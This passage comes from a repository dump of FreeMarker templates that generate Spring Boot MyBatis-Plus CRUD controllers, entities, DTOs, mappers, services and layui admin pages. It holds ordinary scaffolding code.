@Resource\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n    \n    @Resource\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n    \n    @ApiOperation(value = \"${classInfo.classComment}-新增\")\n    @PostMapping(\"/add\")\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:add\")\n    public Result add(@Validated(${classInfo.className}Vo.Create.class) @RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.nullable==true>\n        if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n            return Result.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n        }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        List<${classInfo.className}Entity> list = ${classInfo.className?uncap_first}Service.list(queryWrapper);\n        if (list.size() > 0) {\n            return Result.fail(\"数据已存在\");\n        }\n        ${classInfo.className}Entity entity = new ${classInfo.className}Entity();\n        \n        BeanUtils.copyProperties(dto, entity);\n        return Result.success(${classInfo.className?uncap_first}Service.save(entity));\n    }\n    \n    @ApiOperation(value = \"${classInfo.classComment}-删除\")\n    @DeleteMapping(\"/remove\")\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:remove\")\n    public Result delete(@Validated(${classInfo.className}Vo.Delete.class) @RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return Result.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        return Result.success(${classInfo.className?uncap_first}Service.remove(queryWrapper));\n    }\n\n    @ApiOperation(value = \"${classInfo.classComment}-删除\")\n    @DeleteMapping(\"/delete\")\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:delete\")\n    public Result delete(@RequestBody @ApiParam(value = \"id集合\") List<String> ids) {\n        return Result.success(${classInfo.className?uncap_first}Service.removeByIds(ids));\n    }\n\n\n    @ApiOperation(value = \"${classInfo.classComment}-更新\")\n    @PutMapping(\"/update\")\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:update\")\n    public Result update(@Validated(${classInfo.className}Vo.Update.class) @RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return Result.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        ${classInfo.className}Entity entity = ${classInfo.className?uncap_first}Service.getOne(queryWrapper);;\n        if (entity == null) {\n            //return Result.fail(\"数据不存在\");\n            entity = new ${classInfo.className}Entity();\n        }\n        BeanUtils.copyProperties(dto, entity);\n        return Result.success(${classInfo.className?uncap_first}Service.saveOrUpdate(entity));\n    }\n    \n\n\n    @ApiOperation(value = \"${classInfo.classComment}-查询单条\")\n    @RequestMapping(value = \"/getOne\",method = {RequestMethod.GET,RequestMethod.POST})\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:getOne\")\n    public Result getOne(@RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return Result.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        ${classInfo.className}Entity entity = ${classInfo.className?uncap_first}Service.getOne(queryWrapper);;\n        return Result.success(entity);\n    }\n    \n    \n\n\n    @ApiOperation(value = \"${classInfo.classComment}-查询列表分页数据\")\n    @RequestMapping(value = \"/listByPage\",method = {RequestMethod.GET,RequestMethod.POST})\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:listByPage\")\n    public Result listByPage(@RequestBody ${classInfo.className}Vo ${classInfo.className?uncap_first}) {\n        Page page = new Page(${classInfo.className?uncap_first}.getPage(), ${classInfo.className?uncap_first}.getLimit());\n        ${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(${classInfo.className?uncap_first}, dto);\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n        }\n<#else>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n        }\n</#if>\n</#list>\n</#if>\n        IPage<${classInfo.className}Entity> iPage = ${classInfo.className?uncap_first}Service.page(page, queryWrapper);\n        return Result.success(iPage);\n    }\n    \n    @ApiOperation(value = \"${classInfo.classComment}-查询全部列表数据\")\n    @RequestMapping(value = \"/list\",method = {RequestMethod.GET,RequestMethod.POST})\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:list\")\n    public Result findListByPage(@RequestBody ${classInfo.className}Vo ${classInfo.className?uncap_first}) {\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n        }\n<#else>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n        }\n</#if>\n</#list>\n</#if>\n        List<${classInfo.className}Entity> list = ${classInfo.className?uncap_first}Service.list(queryWrapper);\n        return Result.success(list);\n    }\n\n\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single-v3/${classInfo.className}Dto.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.dto;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport entity.io.github.wujun728.common.BaseEntity;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className}Dto  extends BaseEntity  implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if> \n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}Dto() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single-v3/${classInfo.className}Entity.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport entity.io.github.wujun728.common.BaseEntity;\n<#assign isSwagger=false />\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\n@TableName(\"${classInfo.tableName}\")\npublic class ${classInfo.className}Entity  extends BaseEntity  implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if fieldItem.isPrimaryKey==true>@TableId(value = \"${fieldItem.columnName}\" ,type = IdType.AUTO )<#else>@TableField(value = \"${fieldItem.columnName}\" )</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}Entity() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single-v3/${classInfo.className}Mapper.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Select;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\npublic interface ${classInfo.className}Mapper extends BaseMapper<${classInfo.className}Entity> {\n\n    @Select(\n    \"<script>select t0.* from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n    //add here if need page limit\n    //\" limit ￥{page},￥{limit} \" +\n    \" </script>\")\n    List<${classInfo.className}Entity> pageAll(${classInfo.className}Entity dto,int page,int limit);\n\n    @Select(\"<script>select count(1) from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n     \" </script>\")\n    int countAll(${classInfo.className}Entity dto);\n    \n    @Select(\"SELECT count(1) from ${classInfo.tableName} \")\n    int countAll();\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single-v3/${classInfo.className}Service.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.IService;\n\nimport ${packageName}.entity.${classInfo.className}Entity;\n</#if>\n/**\n * @description ${classInfo.classComment}服务层\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic interface ${classInfo.className}Service extends IService<${classInfo.className}Entity> {\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single-v3/${classInfo.className}ServiceImpl.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service.impl;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.service.${classInfo.className}Service;\n\n</#if>\n/**\n * @description ${classInfo.classComment}服务层实现\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Service\npublic class ${classInfo.className}ServiceImpl extends ServiceImpl<${classInfo.className}Mapper, ${classInfo.className}Entity> implements ${classInfo.className}Service {\n\n\t@Autowired\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n}\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single-v3/${classInfo.className}Vo.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.vo;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport io.swagger.annotations.ApiModelProperty;\nimport lombok.Data;\nimport javax.validation.constraints.NotNull;\nimport javax.validation.constraints.Size;\nimport java.io.Serializable;\nimport entity.io.github.wujun728.common.BaseEntity;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className}Vo  extends BaseEntity  implements Serializable {\n\n    public interface Retrieve{}\n    public interface Delete {}\n    public interface Update {}\n    public interface Create {}\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if> \n    <#if fieldItem.nullable==true>@NotNull(message = \"${fieldItem.fieldComment}不能为空\", groups = {Create.class,Update.class,Delete.class})</#if>\n    <#if fieldItem.nullable==true>@Size( max = ${fieldItem.columnSize?c},message = \"${fieldItem.fieldComment}长度限制${fieldItem.columnSize?c}位\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}Vo() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single-v3/edit.html.ftl",
    "content": "<!DOCTYPE html>\n<html>\n<body>\n<div class=\"layui-form layuimini-form\">\n    <input type=\"hidden\" name=\"${classInfo.className?uncap_first}Id\" value=\"\" class=\"layui-input\">\n\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n    <div class=\"layui-form-item\">\n        <label class=\"layui-form-label required\">${fieldItem.fieldComment}</label>\n        <div class=\"layui-input-block\">\n            <input type=\"text\" name=\"${fieldItem.fieldName}\" lay-verify=\"required\" lay-reqtext=\"${fieldItem.fieldComment}不能为空\" placeholder=\"请输入${fieldItem.fieldComment}\" value=\"￥{(${classInfo.className?uncap_first}.${fieldItem.fieldName})!!}\" class=\"layui-input\">\n            <#--<tip>${fieldItem.fieldComment}</tip>-->\n        </div>\n    </div>\n    </#list>\n</#if>\n\n    <div class=\"layui-form-item\">\n        <div class=\"layui-input-block\">\n            <button class=\"layui-btn\" lay-submit lay-filter=\"saveBtn\">确认保存</button>\n        </div>\n    </div>\n</div>\n</div>\n<script src=\"￥{request.contextPath}/static/lib/layui-v2.5.5/layui.js\" charset=\"utf-8\"></script>\n<script>\n    layui.use(['form'], function () {\n        var form = layui.form,\n            layer = layui.layer,\n            $ = layui.$;\n\n        //监听提交\n        form.on('submit(saveBtn)', function (data) {\n            $.ajax({\n                type: 'POST',\n                url: \"￥{request.contextPath}/${classInfo.className?uncap_first}/save\",\n                data:JSON.stringify(data.field),\n                dataType: \"json\",\n                contentType: \"application/json\",\n                success: function (responseData) {\n                    if (responseData.code === 200) {\n                        layer.msg(responseData.msg, function () {\n                            // 关闭弹出层\n                            //layer.close(index);\n                            var iframeIndex = parent.layer.getFrameIndex(window.name);\n                            parent.layer.close(iframeIndex);\n                            parent.searchBtn.click();\n                        });\n                    } else {\n                        layer.msg(responseData.msg, function () {\n                            //window.location = '/index.html';\n                        });\n                    }\n                }\n            });\n            return false;\n        });\n\n    });\n</script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single-v3/list.html.ftl",
    "content": "﻿<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"utf-8\"/>\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1\">\n    <title>XXXX管理</title>\n    <link rel=\"stylesheet\" href=\"/static/assets/libs/layui/css/layui.css\"/>\n    <link rel=\"stylesheet\" href=\"/static/assets/module/admin.css?v=317\"/>\n    <!--[if lt IE 9]>\n    <script src=\"https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js\"></script>\n    <script src=\"https://oss.maxcdn.com/respond/1.4.2/respond.min.js\"></script>\n    <![endif]-->\n</head>\n<body>\n<!-- 正文开始 -->\n<div class=\"layui-fluid\">\n    <div class=\"layui-card\">\n        <div class=\"layui-card-body\">\n            <!-- 表格工具栏 -->\n            <form class=\"layui-form toolbar\">\n                <div class=\"layui-form-item\">\n                    <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                        <#list classInfo.fieldList as fieldItem >\n                            <#if fieldItem.nullable==false>\n                            <div class=\"layui-inline\">\n                                <label class=\"layui-form-label\">${fieldItem.fieldComment}:</label>\n                                <div class=\"layui-input-inline\">\n                                    <input name=\"${fieldItem.fieldName}\" class=\"layui-input\" placeholder=\"输入${fieldItem.fieldComment}\"/>\n                                </div>\n                            </div>\n                              </#if>\n                        </#list>\n                    </#if>\n                    <#--<div class=\"layui-inline\">\n                        <label class=\"layui-form-label\">角色名:</label>\n                        <div class=\"layui-input-inline\">\n                            <input name=\"roleName\" class=\"layui-input\" placeholder=\"输入角色名\"/>\n                        </div>\n                    </div>\n                    <div class=\"layui-inline\">\n                        <label class=\"layui-form-label\">角色代码:</label>\n                        <div class=\"layui-input-inline\">\n                            <input name=\"roleCode\" class=\"layui-input\" placeholder=\"输入角色代码\"/>\n                        </div>\n                    </div>\n                    <div class=\"layui-inline\">\n                        <label class=\"layui-form-label\">备&emsp;注:</label>\n                        <div class=\"layui-input-inline\">\n                            <input name=\"comments\" class=\"layui-input\" placeholder=\"输入备注\"/>\n                        </div>\n                    </div>-->\n                    <div class=\"layui-inline\">&emsp;\n                        <button class=\"layui-btn icon-btn\" lay-filter=\"roleTbSearch\" lay-submit>\n                            <i class=\"layui-icon\">&#xe615;</i>搜索\n                        </button>\n                    </div>\n                </div>\n            </form>\n            <!-- 数据表格 -->\n            <table id=\"roleTable\" lay-filter=\"roleTable\"></table>\n        </div>\n    </div>\n</div>\n\n<!-- 表格操作列 -->\n<script type=\"text/html\" id=\"roleTbBar\">\n    <a class=\"layui-btn layui-btn-primary layui-btn-xs\" lay-event=\"edit\">修改</a>\n    <a class=\"layui-btn layui-btn-danger layui-btn-xs\" lay-event=\"del\">删除</a>\n<#--    <a class=\"layui-btn layui-btn-warm layui-btn-xs\" lay-event=\"auth\">权限分配</a>-->\n</script>\n<!-- 表单弹窗 -->\n<script type=\"text/html\" id=\"roleEditDialog\">\n    <form id=\"roleEditForm\" lay-filter=\"roleEditForm\" class=\"layui-form model-form\">\n        <input name=\"roleId\" type=\"hidden\"/>\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                <div class=\"layui-form-item\">\n                    <label class=\"layui-form-label layui-form-required\">${fieldItem.fieldComment}:</label>\n                    <div class=\"layui-input-block\">\n                        <input name=\"${fieldItem.fieldName}\" placeholder=\"请输入${fieldItem.fieldComment}\" class=\"layui-input\"\n                               lay-verType=\"tips\"  <#if fieldItem.nullable==false>lay-verify=\"required\" required</#if>  />\n\n                    </div>\n                </div>\n            </#list>\n        </#if>\n\n        <#--<div class=\"layui-form-item\">\n            <label class=\"layui-form-label layui-form-required\">角色名:</label>\n            <div class=\"layui-input-block\">\n                <input name=\"roleName\" placeholder=\"请输入角色名\" class=\"layui-input\"\n                       lay-verType=\"tips\" lay-verify=\"required\" required/>\n            </div>\n        </div>\n        <div class=\"layui-form-item\">\n            <label class=\"layui-form-label layui-form-required\">角色代码:</label>\n            <div class=\"layui-input-block\">\n                <input name=\"roleCode\" placeholder=\"请输入角色代码\" class=\"layui-input\"\n                       lay-verType=\"tips\" lay-verify=\"required\" required/>\n            </div>\n        </div>\n        <div class=\"layui-form-item\">\n            <label class=\"layui-form-label\">备注:</label>\n            <div class=\"layui-input-block\">\n                <textarea name=\"comments\" placeholder=\"请输入备注\" class=\"layui-textarea\"></textarea>\n            </div>\n        </div>-->\n        <div class=\"layui-form-item text-right\">\n            <button class=\"layui-btn\" lay-filter=\"roleEditSubmit\" lay-submit>保存</button>\n            <button class=\"layui-btn layui-btn-primary\" type=\"button\" ew-event=\"closeDialog\">取消</button>\n        </div>\n    </form>\n</script>\n\n<!-- js部分 -->\n<script type=\"text/javascript\" src=\"/static/assets/libs/layui/layui.js\"></script>\n<script type=\"text/javascript\" src=\"/static/assets/js/common.js?v=317\"></script>\n<script type=\"text/javascript\" src=\"/static/assets/libs/jquery/jquery-3.2.1.min.js\"></script>\n<script type=\"text/javascript\" src=\"/static/assets/js/core.util.js\"></script>\n<script>\n    layui.use(['layer', 'form', 'table', 'util', 'admin', 'zTree'], function () {\n        var $ = layui.jquery;\n        var layer = layui.layer;\n        var form = layui.form;\n        var table = layui.table;\n        var util = layui.util;\n        var admin = layui.admin;\n\n        /* 渲染表格 */\n        var insTb = table.render({\n            elem: '#roleTable',\n            method: 'post',\n            contentType: 'application/json',\n            url: '/${classInfo.className?uncap_first}/list',\n            page: true,\n            toolbar: ['<p>',\n                '<button lay-event=\"add\" class=\"layui-btn layui-btn-sm icon-btn\"><i class=\"layui-icon\">&#xe654;</i>添加</button>&nbsp;',\n                '<button lay-event=\"del\" class=\"layui-btn layui-btn-sm layui-btn-danger icon-btn\"><i class=\"layui-icon\">&#xe640;</i>删除</button>',\n                '</p>'].join(''),\n            cellMinWidth: 100,\n            cols: [[\n                {type: \"checkbox\", width: 50, fixed: \"left\"},\n                <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                {field: '${fieldItem.fieldName}', title: '${fieldItem.fieldComment}', sort: true}, <#if fieldItem_has_next> </#if>\n                </#list>\n                </#if>\n                /* 需要时间请自行解封\n                {title: '创建时间', sort: true,templet: \"<div>{{layui.util.toDateString(d.createTime, 'yyyy-MM-dd')}}</div>\"},\n                {title: '修改时间', sort: true,templet: \"<div>{{layui.util.toDateString(d.updateTime, 'yyyy-MM-dd')}}</div>\"},\n                */\n                {title: '操作', minWidth: 400, templet: '#roleTbBar', fixed: \"right\", align: \"center\"}\n            ]],\n            limits: [20 , 50 , 100],\n            limit: 20,\n            page: true\n        });\n\n        /* 表格搜索 */\n        form.on('submit(roleTbSearch)', function (data) {\n            insTb.reload({where: data.field, page: {curr: 1}});\n            return false;\n        });\n\n        /* 表格工具条点击事件 */\n        table.on('tool(roleTable)', function (obj) {\n            if (obj.event === 'edit') { // 修改\n                showEditModel(obj.data);\n            } else if (obj.event === 'del') { // 删除\n                //doDel(obj);\n                doDel({ids: [obj.data.id]});\n            } else if (obj.event === 'auth') {  // 权限管理\n                showPermModel(obj.data.roleId);\n            }\n        });\n\n        /* 表格头工具栏点击事件 */\n        table.on('toolbar(roleTable)', function (obj) {\n            if (obj.event === 'add') { // 添加\n                showEditModel();\n            } else if (obj.event === 'del') { // 删除\n                var checkRows = table.checkStatus('roleTable');\n                if (checkRows.data.length === 0) {\n                    layer.msg('请选择要删除的数据', {icon: 2});\n                    return;\n                }\n                var ids = checkRows.data.map(function (d) {\n                    return d.id; //TODO\n                });\n                doDel({ids: ids});\n            }\n        });\n\n        /* 显示表单弹窗 */\n        function showEditModel(mData) {\n            admin.open({\n                type: 1,\n                title: (mData ? '修改' : '添加') + '${classInfo.classComment}'  ,\n                content: $('#roleEditDialog').html(),\n                success: function (layero, dIndex) {\n                    // 回显表单数据\n                    form.val('roleEditForm', mData);\n                    // 表单提交事件\n                    form.on('submit(roleEditSubmit)', function (data) {\n                        var loadIndex = layer.load(2);\n                        // $.get(mData ? '../../json/ok.json' : '../../json/ok.json', data.field, function (res) {\n                        //     layer.close(loadIndex);\n                        //     if (200 === res.code) {\n                        //         layer.close(dIndex);\n                        //         layer.msg(res.msg, {icon: 1});\n                        //         insTb.reload({page: {curr: 1}});\n                        //     } else {\n                        //         layer.msg(res.msg, {icon: 2});\n                        //     }\n                        // }, 'json');\n                        if(data.field.id===undefined || data.field.id===null || data.field.id===\"\"){\n                            CoreUtil.sendPost(\"/${classInfo.className?uncap_first}/add\",data.field,function (res) {\n                                layer.close(loadIndex);\n                                if (0 === res.code) {\n                                    layer.close(dIndex);\n                                    layer.msg(res.msg, {icon: 1});\n                                    insTb.reload({page: {curr: 1}});\n                                } else {\n                                    layer.msg(res.msg, {icon: 2});\n                                }\n                            });\n                        }else {\n                            